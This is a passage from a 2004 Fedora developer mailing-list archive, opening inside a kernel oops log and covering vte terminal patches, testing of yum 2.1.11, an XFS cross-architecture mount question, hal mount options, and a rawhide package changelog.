__alloc_pages+0x1c8/0x2be Oct 27 10:43:12 powraid kernel: [<0213f916>] generic_file_aio_write_nolock+0x502/0x855 Oct 27 10:43:12 powraid kernel: [<109da583>] xfs_ichgtime+0xf4/0xfc [xfs] Oct 27 10:43:12 powraid kernel: [<109fec5a>] xfs_write+0x3e5/0x678 [xfs] Oct 27 10:43:12 powraid kernel: [<109fb43f>] linvfs_writev+0xdf/0x120 [xfs] Oct 27 10:43:12 powraid kernel: [<021d9ac7>] __copy_from_user_ll+0x41/0x4a Oct 27 10:43:12 powraid kernel: [<109fb360>] linvfs_writev+0x0/0x120 [xfs] Oct 27 10:43:12 powraid kernel: [<02160f4c>] do_readv_writev+0x15d/0x1de Oct 27 10:43:12 powraid kernel: [<02160aa5>] do_sync_write+0x0/0x99 Oct 27 10:43:12 powraid kernel: [<10a95449>] fh_verify+0x497/0x4af [nfsd] Oct 27 10:43:12 powraid kernel: [<109fb606>] linvfs_open+0x39/0x3d [xfs] Oct 27 10:43:12 powraid kernel: [<02161875>] open_private_file+0x9c/0xb7 Oct 27 10:43:12 powraid kernel: [<02161048>] vfs_writev+0x3d/0x41 Oct 27 10:43:12 powraid kernel: [<10a9711a>] nfsd_write+0x112/0x2a6 [nfsd] Oct 27 10:43:12 powraid kernel: [<0211a930>] __wake_up_common+0x36/0x5b Oct 27 10:43:12 powraid kernel: [<0211a9e2>] __wake_up+0x8d/0xf2 Oct 27 10:43:12 powraid kernel: [<10a9cff3>] nfsd3_proc_write+0xc7/0xde [nfsd] Oct 27 10:43:12 powraid kernel: [<10a9e6ae>] nfs3svc_decode_writeargs+0x0/0x159 [nfsd] Oct 27 10:43:12 powraid kernel: [<10a93a20>] nfsd_dispatch+0xbf/0x163 [nfsd] Oct 27 10:43:12 powraid kernel: [<10970ba9>] svc_process+0x323/0x562 [sunrpc] Oct 27 10:43:12 powraid kernel: [<10a93683>] nfsd+0x3ae/0x68c [nfsd] Oct 27 10:43:12 powraid kernel: [<10a932d5>] nfsd+0x0/0x68c [nfsd] Oct 27 10:43:12 powraid kernel: [<021041d9>] kernel_thread_helper+0x5/0xb Oct 27 10:43:12 powraid kernel: Code: 89 50 04 89 02 31 d2 2b 4b 0c c7 03 00 01 10 00 c7 43 04 00 Oct 27 10:43:13 powraid kernel: mm/slab.c:2725: spin_lock(mm/slab.c:0f754ac4) already locked by mm/slab.c/2141 Oct 27 11:01:00 powraid kernel: Unable to handle kernel paging request at virtual address 00020004 Oct 27 11:01:00 powraid kernel: printing eip: Oct 27 11:01:00 powraid kernel: 02146aa1 Oct 27 11:01:00 powraid kernel: *pde = 00000000 Oct 27 11:01:00 powraid kernel: Oops: 0002 [#2] Oct 27 11:01:00 powraid kernel: Modules linked in: nfs nfsd exportfs lockd md5 ipv6 autofs4 sunrpc tulip 8139too mii floppy sg microcode xfs ohci_hcd ehci_hcd button battery asus_acpi ac ext3 jbd dm_mod mptscsih mptbase sd_mod scsi_mod Oct 27 11:01:00 powraid kernel: CPU: 0 Oct 27 11:01:00 powraid kernel: EIP: 0060:[<02146aa1>] Not tainted Oct 27 11:01:00 powraid kernel: EFLAGS: 00010046 (2.6.8-1.521) Oct 27 11:01:00 powraid kernel: EIP is at cache_alloc_refill+0x154/0x23d Oct 27 11:01:00 powraid kernel: eax: 00020000 ebx: 0f754b80 ecx: 0cc75000 edx: 0f754b8c Oct 27 11:01:00 powraid kernel: esi: 00000008 edi: 0f754b8c ebp: 0f7ae080 esp: 0f267e08 Oct 27 11:01:00 powraid kernel: ds: 007b es: 007b ss: 0068 Oct 27 11:01:00 powraid kernel: Process bash (pid: 23727, threadinfo=0f267000 task=0d242640) Oct 27 11:01:00 powraid kernel: Stack: 00000050 00000050 0f754b80 00000246 0f709000 02146de5 0042da8f 0f709000 Oct 27 11:01:00 powraid kernel: 031f386c 108c69b3 0217e3f1 0042da8f 0f709000 031f386c 0042da8f 0217f5a0 Oct 27 11:01:00 powraid kernel: 0042da8f 02d1aeb8 0f709000 02ff60f0 108c40e3 062b92e8 108d3fc0 02d1aeb8 Oct 27 11:01:00 powraid kernel: Call Trace: Oct 27 11:01:00 powraid kernel: [<02146de5>] kmem_cache_alloc+0x46/0x4c Oct 27 11:01:00 powraid kernel: [<108c69b3>] ext3_alloc_inode+0xf/0x3c [ext3] Oct 27 11:01:00 powraid kernel: [<0217e3f1>] alloc_inode+0x13/0x182 Oct 27 11:01:00 powraid kernel: [<0217f5a0>] get_new_inode_fast+0xf/0x21f Oct 27 11:01:00 powraid kernel: [<108c40e3>] ext3_lookup+0x42/0x89 [ext3] Oct 27 11:01:00 powraid kernel: [<0216ffe8>] real_lookup+0x73/0xde Oct 27 11:01:00 powraid kernel: [<0217034a>] do_lookup+0x43/0x72 Oct 27 11:01:00 powraid kernel: [<02171039>] link_path_walk+0xcc0/0x1017 Oct 27 11:01:00 powraid kernel: [<0217160b>] path_lookup+0xff/0x12f Oct 27 11:01:00 powraid kernel: [<02171747>] __user_walk+0x21/0x51 Oct 27 11:01:00 powraid kernel: [<0216bac4>] vfs_stat+0x14/0x3a Oct 27 11:01:00 powraid kernel: [<0216c03f>] sys_stat64+0xf/0x23 Oct 27 11:01:00 powraid kernel: [<021181a7>] do_page_fault+0x0/0x489 Oct 27 11:01:00 powraid kernel: Code: 89 50 04 89 02 66 83 79 14 ff c7 01 00 01 10 00 c7 41 04 00 Oct 27 11:01:01 powraid kernel: mm/slab.c:2656: spin_lock(mm/slab.c:0f754bc4) already locked by mm/slab.c/1921 From hp at redhat.com Thu Oct 28 03:48:15 2004 From: hp at redhat.com (Havoc Pennington) Date: Wed, 27 Oct 2004 23:48:15 -0400 Subject: any chances for some last minute vte changes, or atleast something to consider In-Reply-To: References: Message-ID: <1098935295.11211.36.camel@localhost.localdomain> On Wed, 2004-10-27 at 20:48 -0400, Jon Nettleton wrote: > > The speed issue was addresed in the patch attached to this bugzilla, > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132770 , which I > have found fantastic. Indeed, we should have applied that one IMO, it fell through the cracks since it wasn't on the tracker bugs. I added it now and we could get it in an update or in FC4 or whatever. Kudos to Soeren for profiling and optimizing vte while the rest of us speculated about the problem in long mailing list threads ;-) Havoc From smooge at gmail.com Thu Oct 28 03:51:06 2004 From: smooge at gmail.com (Stephen J. Smoogen) Date: Wed, 27 Oct 2004 21:51:06 -0600 Subject: any chances for some last minute vte changes, or atleast something to consider In-Reply-To: <1098935295.11211.36.camel@localhost.localdomain> References: <1098935295.11211.36.camel@localhost.localdomain> Message-ID: <80d7e40904102720514a7d5358@mail.gmail.com> On Wed, 27 Oct 2004 23:48:15 -0400, Havoc Pennington wrote: > On Wed, 2004-10-27 at 20:48 -0400, Jon Nettleton wrote: > > > > The speed issue was addresed in the patch attached to this bugzilla, > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132770 , which I > > have found fantastic. > > Indeed, we should have applied that one IMO, it fell through the cracks > since it wasn't on the tracker bugs. I added it now and we could get it > in an update or in FC4 or whatever. > > Kudos to Soeren for profiling and optimizing vte while the rest of us > speculated about the problem in long mailing list threads ;-) > Yes kudos to them. Please make this an update and definately a tracker for RHEL-4 as it is a problem that I get told why RH sucks daily... > http://www.redhat.com/mailman/listinfo/fedora-devel-list > -- Stephen J Smoogen. CSIRT/Linux System Administrator From nutello at sweetness.com Thu Oct 28 04:05:33 2004 From: nutello at sweetness.com (Rudi Chiarito) Date: Thu, 28 Oct 2004 06:05:33 +0200 Subject: any chances for some last minute vte changes, or atleast something to consider In-Reply-To: References: Message-ID: <20041028040533.GC32737@server4.8080.it> On Wed, Oct 27, 2004 at 08:48:33PM -0400, Jon Nettleton wrote: > The speed issue was addresed in the patch attached to this bugzilla, > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132770 , which I > have found fantastic. Without the mad skills of this excellent I have found that a simple way to speed up vte rendering considerably is the use of bitmap (=non-AA) fonts. This might be common knowledge or not. I think I heard pango being blamed in the past for such a large gap in performance. That said, the other improvements mentioned in the bugzilla report are definitely worth an updated package after the FC3 release. -- Rudi From jon.nettleton at gmail.com Thu Oct 28 04:06:59 2004 From: jon.nettleton at gmail.com (Jon Nettleton) Date: Thu, 28 Oct 2004 00:06:59 -0400 Subject: any chances for some last minute vte changes, or atleast something to consider In-Reply-To: <80d7e40904102720514a7d5358@mail.gmail.com> References: <1098935295.11211.36.camel@localhost.localdomain> <80d7e40904102720514a7d5358@mail.gmail.com> Message-ID: just a follow up. I have a spec file that includes the two patches if anyone is interested. I would be happy to post it for enyone inteerested...and go Sox!!!! The curse has finally ended!!! On Wed, 27 Oct 2004 21:51:06 -0600, Stephen J. Smoogen wrote: > On Wed, 27 Oct 2004 23:48:15 -0400, Havoc Pennington wrote: > > > > On Wed, 2004-10-27 at 20:48 -0400, Jon Nettleton wrote: > > > > > > The speed issue was addresed in the patch attached to this bugzilla, > > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132770 , which I > > > have found fantastic. > > > > Indeed, we should have applied that one IMO, it fell through the cracks > > since it wasn't on the tracker bugs. I added it now and we could get it > > in an update or in FC4 or whatever. > > > > Kudos to Soeren for profiling and optimizing vte while the rest of us > > speculated about the problem in long mailing list threads ;-) > > > > Yes kudos to them. Please make this an update and definately a tracker > for RHEL-4 as it is a problem that I get told why RH sucks daily... > > > http://www.redhat.com/mailman/listinfo/fedora-devel-list > > > > -- > Stephen J Smoogen. > CSIRT/Linux System Administrator > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From skvidal at phy.duke.edu Thu Oct 28 04:10:11 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 28 Oct 2004 00:10:11 -0400 Subject: yum 2.1.11 available Message-ID: <1098936611.2439.11.camel@binkley> Hey Folks, I just pushed a 2.1.11 up and Jeremy was kind enough to build it for me for the FC3 tree. This should correct a number of config file issues people have had. Now instead of silently exiting it will tell you what you did wrong and why the config file is wrong. In some cases it will nicely ignore the error and move along, in others it will point and laugh at you. Please give this update a bunch of tests, we want to make sure things are happy before fc3 is released. Here they are: http://people.redhat.com/~katzj/yum-2.1.11-1.noarch.rpm http://people.redhat.com/~katzj/yum-2.1.11-1.src.rpm Thanks, -sv From balay at fastmail.fm Thu Oct 28 04:34:29 2004 From: balay at fastmail.fm (Satish Balay) Date: Wed, 27 Oct 2004 23:34:29 -0500 (CDT) Subject: yum 2.1.11 available In-Reply-To: <1098936611.2439.11.camel@binkley> References: <1098936611.2439.11.camel@binkley> Message-ID: On Thu, 28 Oct 2004, seth vidal wrote: > Here they are: > > http://people.redhat.com/~katzj/yum-2.1.11-1.noarch.rpm I get MD5 error with this rpm. [root at n-gage-11 ~]# rpm -Fvh yum-2.1.11-1.noarch.rpm error: yum-2.1.11-1.noarch.rpm: MD5 digest: BAD Expected(c8a746121970a9199e5e3e3e449996a4) != (f6764def0e65cf631dac94dd5e73b193) error: yum-2.1.11-1.noarch.rpm cannot be installed I tried using http://linux.duke.edu/yum/download/2.1/yum-2.1.11-1.noarch.rpm - and stumbled into a peculiar issue. In the following session - 'yum checkupdate' perhaps just used cached pickle info and hence the output is inaccurate?. Shouldn't it know that it needs to grab some new metadata? Satish ***************** [root at n-gage-11 ~]# yum check-update Setting up Repo: development repomd.xml 100% |=========================| 1.1 kB 00:00 Setting up Repo: local repomd.xml 100% |=========================| 951 B 00:00 Reading repository metadata in from local files developmen: ################################################## 3426/3426 local : ################################################## 10/10 Excluding Packages in global exclude list Finished evolution.i386 2.0.2-3 development [root at n-gage-11 ~]# yum update Setting up Update Process Setting up Repo: development repomd.xml 100% |=========================| 1.1 kB 00:00 Setting up Repo: local repomd.xml 100% |=========================| 951 B 00:00 Reading repository metadata in from local files primary.xml.gz 100% |=========================| 952 kB 00:03 MD Read : ################################################## 3426/3426 developmen: ################################################## 3426/3426 local : ################################################## 10/10 Excluding Packages in global exclude list Finished Resolving Dependencies --> Populating transaction set with selected packages. Please wait. ---> Downloading header for python-devel to pack into transaction set. python-devel-2.3.4-11.i38 100% |=========================| 60 kB 00:00 ---> Package python-devel.i386 0:2.3.4-11 set to be updated ---> Downloading header for gcc-c++ to pack into transaction set. gcc-c++-3.4.2-6.fc3.i386. 100% |=========================| 20 kB 00:00 ---> Package gcc-c++.i386 0:3.4.2-6.fc3 set to be updated ---> Downloading header for libf2c to pack into transaction set. libf2c-3.4.2-6.fc3.i386.r 100% |=========================| 18 kB 00:00 ---> Package libf2c.i386 0:3.4.2-6.fc3 set to be updated ---> Downloading header for libstdc++ to pack into transaction set. libstdc++-3.4.2-6.fc3.i38 100% |=========================| 18 kB 00:00 ---> Package libstdc++.i386 0:3.4.2-6.fc3 set to be updated ---> Downloading header for libgcc to pack into transaction set. libgcc-3.4.2-6.fc3.i386.r 100% |=========================| 18 kB 00:00 ---> Package libgcc.i386 0:3.4.2-6.fc3 set to be updated ---> Downloading header for gcc to pack into transaction set. gcc-3.4.2-6.fc3.i386.rpm 100% |=========================| 26 kB 00:00 ---> Package gcc.i386 0:3.4.2-6.fc3 set to be updated ---> Downloading header for system-config-packages to pack into transaction set. system-config-packages-1. 100% |=========================| 22 kB 00:00 ---> Package system-config-packages.noarch 0:1.2.20-1 set to be updated ---> Downloading header for python to pack into transaction set. python-2.3.4-11.i386.rpm 100% |=========================| 190 kB 00:00 ---> Package python.i386 0:2.3.4-11 set to be updated ---> Downloading header for hal to pack into transaction set. hal-0.4.0-9.i386.rpm 100% |=========================| 17 kB 00:00 ---> Package hal.i386 0:0.4.0-9 set to be updated ---> Downloading header for libgcj to pack into transaction set. libgcj-3.4.2-6.fc3.i386.r 100% |=========================| 24 kB 00:00 ---> Package libgcj.i386 0:3.4.2-6.fc3 set to be updated ---> Downloading header for gcc-g77 to pack into transaction set. gcc-g77-3.4.2-6.fc3.i386. 100% |=========================| 20 kB 00:00 ---> Package gcc-g77.i386 0:3.4.2-6.fc3 set to be updated ---> Downloading header for redhat-menus to pack into transaction set. redhat-menus-1.13-1.noarc 100% |=========================| 21 kB 00:00 ---> Package redhat-menus.noarch 0:1.13-1 set to be updated ---> Downloading header for fedora-logos to pack into transaction set. fedora-logos-1.1.29-1.noa 100% |=========================| 12 kB 00:00 ---> Package fedora-logos.noarch 0:1.1.29-1 set to be updated ---> Package evolution.i386 0:2.0.2-3 set to be updated ---> Downloading header for cpp to pack into transaction set. cpp-3.4.2-6.fc3.i386.rpm 100% |=========================| 20 kB 00:00 ---> Package cpp.i386 0:3.4.2-6.fc3 set to be updated ---> Downloading header for libstdc++-devel to pack into transaction set. libstdc++-devel-3.4.2-6.f 100% |=========================| 51 kB 00:00 ---> Package libstdc++-devel.i386 0:3.4.2-6.fc3 set to be updated --> Running transaction check Dependencies Resolved Transaction Listing: Update: cpp.i386 0:3.4.2-6.fc3 Update: evolution.i386 0:2.0.2-3 Update: fedora-logos.noarch 0:1.1.29-1 Update: gcc.i386 0:3.4.2-6.fc3 Update: gcc-c++.i386 0:3.4.2-6.fc3 Update: gcc-g77.i386 0:3.4.2-6.fc3 Update: hal.i386 0:0.4.0-9 Update: libf2c.i386 0:3.4.2-6.fc3 Update: libgcc.i386 0:3.4.2-6.fc3 Update: libgcj.i386 0:3.4.2-6.fc3 Update: libstdc++.i386 0:3.4.2-6.fc3 Update: libstdc++-devel.i386 0:3.4.2-6.fc3 Update: python.i386 0:2.3.4-11 Update: python-devel.i386 0:2.3.4-11 Update: redhat-menus.noarch 0:1.13-1 Update: system-config-packages.noarch 0:1.2.20-1 Is this ok [y/N]: From balay at fastmail.fm Thu Oct 28 04:41:04 2004 From: balay at fastmail.fm (Satish Balay) Date: Wed, 27 Oct 2004 23:41:04 -0500 (CDT) Subject: yum 2.1.11 available In-Reply-To: References: <1098936611.2439.11.camel@binkley> Message-ID: On Wed, 27 Oct 2004, Satish Balay wrote: > > I tried using http://linux.duke.edu/yum/download/2.1/yum-2.1.11-1.noarch.rpm - and stumbled > into a peculiar issue. In the following session - 'yum checkupdate' perhaps just used cached > pickle info and hence the output is inaccurate?. Shouldn't it know that it needs to grab some > new metadata? Ah.. Its probably the 'mirrorlist=url' thingy (with mirrors not in sync). I guess I need to get used to it.. Sorry for the noise.. Satish From skvidal at phy.duke.edu Thu Oct 28 05:58:54 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 28 Oct 2004 01:58:54 -0400 Subject: yum 2.1.11 available In-Reply-To: References: <1098936611.2439.11.camel@binkley> Message-ID: <1098943134.2439.13.camel@binkley> On Wed, 2004-10-27 at 23:34 -0500, Satish Balay wrote: > > On Thu, 28 Oct 2004, seth vidal wrote: > > > Here they are: > > > > http://people.redhat.com/~katzj/yum-2.1.11-1.noarch.rpm > > I get MD5 error with this rpm. > package on people was corrupted on transfer - jeremy's fixed it now. -sv From barryn at pobox.com Thu Oct 28 06:17:03 2004 From: barryn at pobox.com (Barry K. Nathan) Date: Wed, 27 Oct 2004 23:17:03 -0700 Subject: any chances for some last minute vte changes, or atleast something to consider In-Reply-To: References: Message-ID: <20041028061703.GB17443@ip68-4-98-123.oc.oc.cox.net> On Wed, Oct 27, 2004 at 08:48:33PM -0400, Jon Nettleton wrote: > We have all dealt with the good, the bad, and the ugly of > gnome-terminal/vte. Don't get me wrong, it has been my terminal of [snip] Another last-minute vte bug to look at: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=135537 I haven't tested the patch there, but I can reproduce the problem reported there. This bug report is about the seemingly random display corruption that happens with vi, etc. -- IOW a *much* more annoying problem than the speed or the black background problem. (And it has a 100% reproducible test case of this -- finally!) -Barry K. Nathan From thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net Thu Oct 28 08:57:46 2004 From: thias at spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net (Matthias Saou) Date: Thu, 28 Oct 2004 10:57:46 +0200 Subject: Filesystem "binary compatibility" question Message-ID: <20041028105746.0fe81e73@localhost> Hi, I've tried today for the second time to "save" data from an xfs filesystem from an x86_64 machine which doesn't boot anymore. I don't have any other x86_64 machine to put the drive in and access it, so I'm not 100% sure about this "problem", but : When I try to mount that xfs filesystem on an x86 machine (running FC Devel and already has some "native" xfs filesystems), I get a nasty segfault... so I was wondering about filesystem "binary compatibility" across architectures. As I have some ppcs, an x86_64 and plenty of x86, not being able to use an existing filesystem across all would definitely make me stay away from it, could that be the case with xfs? Does anyone know a way to be sure? Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.9-1.643.radeon Load : 1.14 1.13 1.15 From fedora-devel at camperquake.de Thu Oct 28 09:30:45 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Thu, 28 Oct 2004 11:30:45 +0200 Subject: Removable storage devices and sync Message-ID: <20041028113045.2060e3c2@nausicaa.camperquake.de> Hi. I noticed that external storage deviced that are automagically added to /etc/fstab by hal do not get the sync flag anymore (at least I think they used to get it). Is this intentional? I know that sync does not solve all problems with suddenly disappearing devices, but it sure helps :) -- "We turn the Cube and it twists us." -- Erno Rubik From jorton at redhat.com Thu Oct 28 10:19:06 2004 From: jorton at redhat.com (Joe Orton) Date: Thu, 28 Oct 2004 11:19:06 +0100 Subject: FC3rc2 - please test In-Reply-To: <20041028014531.1f91fe4a.robn@verdi.et.tudelft.nl> References: <417F8181.5070005@reality.it> <20041028014531.1f91fe4a.robn@verdi.et.tudelft.nl> Message-ID: <20041028101905.GA15649@redhat.com> On Thu, Oct 28, 2004 at 01:45:31AM +0200, Rob van Nieuwkerk wrote: > On Wed, 27 Oct 2004 13:07:17 -0400 (EDT) > Elliot Lee wrote: > > Hi Elliot, > > > On Wed, 27 Oct 2004, Lorenzo Luconi Trombacchi wrote: > > > > > Could you release the DVD image too? Is easier and faster (at least for > > > me) to burn only one DVD image than 4 CDs. > > > > It is actually released and in the location you would expect it to be, but > > there are some web server issues that prevent it from being seen. I > > apologize - we'll try to make sure that this isn't a problem for the final > > release. > > FYI: > > I had some discussions about apache >2GB problems on the fedora/redhat > mirror list. Someone claimed that he had apache working fine with >2GB > files. I just tested the new >2GB capable FC2 wget update against his > server and it worked OK indeed. Here's part of the discussion: Colm runs a custom 2.0 build, this isn't something you can just fix with a simple patch - unfortunately it Just Won't Work on 32-bit platforms in the Fedora httpd package or in the RHEL-variant which Duke run. Adding a HEADER.html with a link to the DVD image on the FTP site would be the simplest plan. joe From nphilipp at redhat.com Thu Oct 28 11:07:01 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 28 Oct 2004 13:07:01 +0200 Subject: rawhide report: 20041026 changes In-Reply-To: <1098800843.10884.13.camel@bree.local.net> References: <200410261152.i9QBqiR28132@porkchop.devel.redhat.com> <20041026124038.GA26276@srv01.cluenet.de> <1098798496.10884.1.camel@bree.local.net> <1098800843.10884.13.camel@bree.local.net> Message-ID: <1098961622.5788.20.camel@gibraltar.stuttgart.redhat.com> On Tue, 2004-10-26 at 10:27 -0400, Jeremy Katz wrote: > On Tue, 2004-10-26 at 16:14 +0200, Frank Schmitt wrote: > > Jeremy Katz writes: > > > On Tue, 2004-10-26 at 14:40 +0200, Daniel Roesen wrote: > > >> On Tue, Oct 26, 2004 at 07:52:44AM -0400, Build System wrote: > > >> > Updated Packages: > > >> > > >> Is this post-FC3 stuff or will (parts) appear in FC3 final? > > > > > > rawhide is still pointed at the FC3 trunk... although that will probably > > > change very soon > > > > So an update to an Evoltion bugfix release is ok, an update to a > > KDE bugfix release two(?) weeks earlier is not. Great. > > The updated evolution package isn't an update to a new version. It's an > updated build with a specific, small, targeted fix for a specific bug > that had been filed and was on the blocker list for the release. > > If evolution were updated to version 2.0.3, then you could rant :) I think he complains (and complained earlier) about evo being updated to 2.0.2 in the first place. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From nphilipp at redhat.com Thu Oct 28 11:16:36 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 28 Oct 2004 13:16:36 +0200 Subject: Fedora Core 3's name - your vote In-Reply-To: References: Message-ID: <1098962197.5788.22.camel@gibraltar.stuttgart.redhat.com> On Tue, 2004-10-26 at 17:32 -0400, Elliot Lee wrote: > It's time for the only really critical decision of the entire release: THE > NAME. ;-) > > The candidates for your consideration: > Krosno > Heidelberg > Uzhgorod > > Please send an e-mail to me by Thursday Oct. 27, highlighting your vote. > -- Elliot > P.S. There are lots of great possibilities for names, We only can use one > in the end, and a good deal of time has already been spent in the Name > Narrowing-Down Process, so unfortunately the choice does have to be > limited to these three. Thanks for understanding... Heidelberg -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From nphilipp at redhat.com Thu Oct 28 11:26:25 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Thu, 28 Oct 2004 13:26:25 +0200 Subject: Removable storage devices and sync In-Reply-To: <20041028113045.2060e3c2@nausicaa.camperquake.de> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> Message-ID: <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> On Thu, 2004-10-28 at 11:30 +0200, Ralf Ertzinger wrote: > Hi. > > I noticed that external storage deviced that are automagically added to > /etc/fstab by hal do not get the sync flag anymore (at least I think they > used to get it). Is this intentional? > > I know that sync does not solve all problems with suddenly disappearing > devices, but it sure helps :) IIRC it depends on the size of the storage, i.e. if it is below a certain size it won't get moutned sync because then it's probably some kind of a flash device which can only be written a certain number of times. In that case, sync is a bad idea because it will wear your device much faster. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From buildsys at redhat.com Thu Oct 28 11:49:48 2004 From: buildsys at redhat.com (Build System) Date: Thu, 28 Oct 2004 07:49:48 -0400 Subject: rawhide report: 20041028 changes Message-ID: <200410281149.i9SBnmW32511@porkchop.devel.redhat.com> Updated Packages: FreeWnn-1.10pl020-4 ------------------- * Wed Oct 27 2004 Jens Petersen - 1:1.10pl020-4 - make sure any stray wnn group is removed before adding wnn user when installing or upgrading (136551) NetworkManager-0.3.1-2 ---------------------- * Tue Oct 26 2004 - 0.3.1-2 - Fix escaping of ESSIDs in gconf anaconda-10.1.0.1-1 ------------------- * Wed Oct 27 2004 Jeremy Katz - 10.1.0.1-1 - Punjabi shouldn't try to do text mode (#137030) - Fix traceback on upgrade (#137345) cups-1.1.22-0.rc1.8 ------------------- * Tue Oct 26 2004 Tim Waugh 1:1.1.22-0.rc1.8 - Apply patch to fix CAN-2004-0888 (bug #135378). * Wed Oct 20 2004 Tim Waugh 1:1.1.22-0.rc1.7 - Prevent filters generating incorrect PS in locales where "," is the decimal separator (bug #136102). Patch from STR #970. initscripts-7.93.2-1 -------------------- * Wed Oct 27 2004 Bill Nottingham 7.93.2-1 - fix prefdm fallback to installed display managers (#137274) - fix incorrect rhgb temporary path (#137391) libxml2-2.6.14-2 ---------------- * Wed Oct 27 2004 Daniel Veillard 2.6.14-2 - applied security patches fixing #137266 lvm2-2.00.25-1.01 ----------------- * Mon Oct 25 2004 Elliot Lee - 2.00.25-1.01 - Fix 2.6 kernel requirement rpmdb-fedora-3-0.20041028 ------------------------- up2date-4.3.47-5 ---------------- * Tue Oct 26 2004 Adrian Likins 4.3.47-4 - fix #133156 - (actually fix above) From felipe_alfaro at linuxmail.org Thu Oct 28 11:59:03 2004 From: felipe_alfaro at linuxmail.org (Felipe Alfaro Solana) Date: Thu, 28 Oct 2004 13:59:03 +0200 Subject: yum 2.1.11 available In-Reply-To: <1098936611.2439.11.camel@binkley> References: <1098936611.2439.11.camel@binkley> Message-ID: On Oct 28, 2004, at 06:10, seth vidal wrote: > Hey Folks, > I just pushed a 2.1.11 up and Jeremy was kind enough to build it for > me > for the FC3 tree. > > This should correct a number of config file issues people have had. Now > instead of silently exiting it will tell you what you did wrong and why > the config file is wrong. In some cases it will nicely ignore the error > and move along, in others it will point and laugh at you. > > Please give this update a bunch of tests, we want to make sure things > are happy before fc3 is released. > > Here they are: > > http://people.redhat.com/~katzj/yum-2.1.11-1.noarch.rpm > http://people.redhat.com/~katzj/yum-2.1.11-1.src.rpm Maybe I'm missing something, but "/etc/yum.conf" sports no repositories at all, and "/etc/yum.repos.d" is empty. From fedora-devel at camperquake.de Thu Oct 28 12:27:14 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Thu, 28 Oct 2004 14:27:14 +0200 Subject: Removable storage devices and sync In-Reply-To: <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> References: <20041028113045.2060e3c2@nausicaa.camperquake.de> <1098962785.5788.26.camel@gibraltar.stuttgart.redhat.com> Message-ID: <20041028142714.28869e00@nausicaa.camperquake.de> Hi. Nils Philippsen wrote: > IIRC it depends on the size of the storage, i.e. if it is below a > certain size it won't get moutned sync because then it's probably some > kind of a flash device which can only be written a certain number of > times. In that case, sync is a bad idea because it will wear your device > much faster. Hmm. The following is an excerpt from my laptop's /etc/fstab: /dev/sda /media/CCYU_TECH vfat pamconsole,noatime,async,exec,noauto,managed 0 0 /dev/sdb10 /media/usbdisk ext3 pamconsole,noatime,async,exec,noauto,managed 0 0 /dev/sdb12 /media/usbdisk1 ext3 pamconsole,exec,noauto,managed 0 0 /dev/sdb13 /media/MacOSX hfsplus pamconsole,exec,noauto,managed 0 0 /dev/sda is a 64MB USB flash device /dev/sdb is a 15GB hard disk drive in an USB enclosure, sdb10 being a quite small partition. So small partitions get explicitly mounted async, but isn't that the default, anyway? -- "The cardinal rule for dealing with women is `Kill it. Kill it now'. Remember `Alien'?" -- Richard Watts From skvidal at phy.duke.edu Thu Oct 28 12:39:45 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Thu, 28 Oct 2004 08:39:45 -0400 Subject: yum 2.1.11 available In-Reply-To: References: <1098936611.2439.11.camel@binkley> Message-ID: <1098967185.2439.28.camel@binkley> On Thu, 2004-10-28 at 13:59 +0200, Felipe Alfaro Solana wrote: > On Oct 28, 2004, at 06:10, seth vidal wrote: > > > Hey Folks, > > I just pushed a 2.1.11 up and Jeremy was kind enough to build it for > > me > > for the FC3 tree. > > > > This should correct a number of config file issues people have had. Now > > instead of silently exiting it will tell you what you did wrong and why > > the config file is wrong. In some cases it will nicely ignore the error > > and move along, in others it will point and laugh at you. > > > > Please give this update a bunch of tests, we want to make sure things > > are happy before fc3 is released. > > > > Here they are: > > > > http://people.redhat.com/~katzj/yum-2.1.11-1.noarch.rpm > > http://people.redhat.com/~katzj/yum-2.1.11-1.src.rpm > > Maybe I'm missing something, but "/etc/yum.conf" sports no repositories > at all, and "/etc/yum.repos.d" is empty. You need to install fedora-release from rawhide, too. -sv From felipe_alfaro at linuxmail.org Thu Oct 28 13:02:19 2004 From: felipe_alfaro at linuxmail.org (Felipe Alfaro Solana) Date: Thu, 28 Oct 2004 15:02:19 +0200 Subject: yum 2.1.11 available In-Reply-To: <1098967185.2439.28.camel@binkley> References: <1098936611.2439.11.camel@binkley> <1098967185.2439.28.camel@binkley> Message-ID: <99809450-28E1-11D9-893D-000D9352858E@linuxmail.org> On Oct 28, 2004, at 14:39, seth vidal wrote: >> Maybe I'm missing something, but "/etc/yum.conf" sports no >> repositories >> at all, and "/etc/yum.repos.d" is empty. > > You need to install 